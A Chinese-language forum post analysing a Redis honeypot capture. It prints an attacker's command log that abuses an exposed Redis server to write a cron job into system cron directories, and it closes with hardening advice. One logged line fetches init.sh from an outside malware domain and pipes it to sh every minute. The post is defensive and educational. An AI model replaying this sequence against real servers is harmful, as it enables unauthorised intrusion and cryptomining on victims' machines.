本帖最后由 nsnake 于 2021-3-17 15:59 编辑
经常看到有人在linux下被植入挖矿病毒,而植入病毒的方式多种多样,但通过redis漏洞的方式却是经常见到的,根本原因是系统管理者的安全意识匮乏。
正好最近比较好奇,于是安装了一个redis蜜罐的捕获来展示如何通过漏洞来植入病毒。
话不多说,先上日志,咱们在来一步步分析。
{ "src_ip": "8.136.106.190", "command": "config set stop-writes-on-bgsave-error no", "dst_port":6379}
{ "src_ip": "8.136.106.190", "command": "flushall", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dbfilename web", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "set 1 \n\n*/1 * * * * cdt -fsSL http://helpdeskserver.epelcdn.com/dd210131/init.sh |sh\n\n", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /var/spool/cron", "dst_port": 6379}
{"src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /var/spool/cron/crontabs", "dst_port": 6379}
{"src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set dir /etc/cron.d", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "save", "dst_port": 6379}
{ "src_ip": "8.136.106.190", "command": "config set stop-writes-on-bgsave-error yes", "dst_port": 6379}
原始日志比这个更多,但这里的片段足够展示整个攻击流程。因为有些人可能对redis命令不熟悉,以下我将逐步的讲解以下流程
当以上操作都完成的时候,redis在触发备份机制后就会开始往上面设置好的目录写入计划任务的脚本
而计划任务会在每分钟都去执行一次这个脚本并且触发下载病毒的机制。然后你的机器CPU就会开始飙涨了。
如果大家有兴趣可以下载看下init.sh这个脚本,里面有剩余安装病毒的全过程,并且还有狗咬狗的去删除自己的竞争对手的机制。
总结:
其实这个漏洞很封堵很简单,只要执行redis的用户没有权限往/var/spool下的目录能写入就能防止入侵。但由于很多人安装redis的时候都是从网上找了文章,启动的时候往往就是root用户直接执行,这样redis也就具有了root用户的权限。
更新:
看了下面大家的评论,很多意见都是很中肯,比如加密码,不开放端口等等,说白了就是运维的人员需要具备安全意识。
比如开放端口,通常情况我们不会开放公网端口,但不可能一直都是单机模式,内网端口总得开放的吧,如果其它机器中了病毒,一样会在内网扫描的。
redis加用户名和密码也是一种方式,但太弱的一样会被扫。
安全没有绝对,攻防也一直都是此消彼长。 |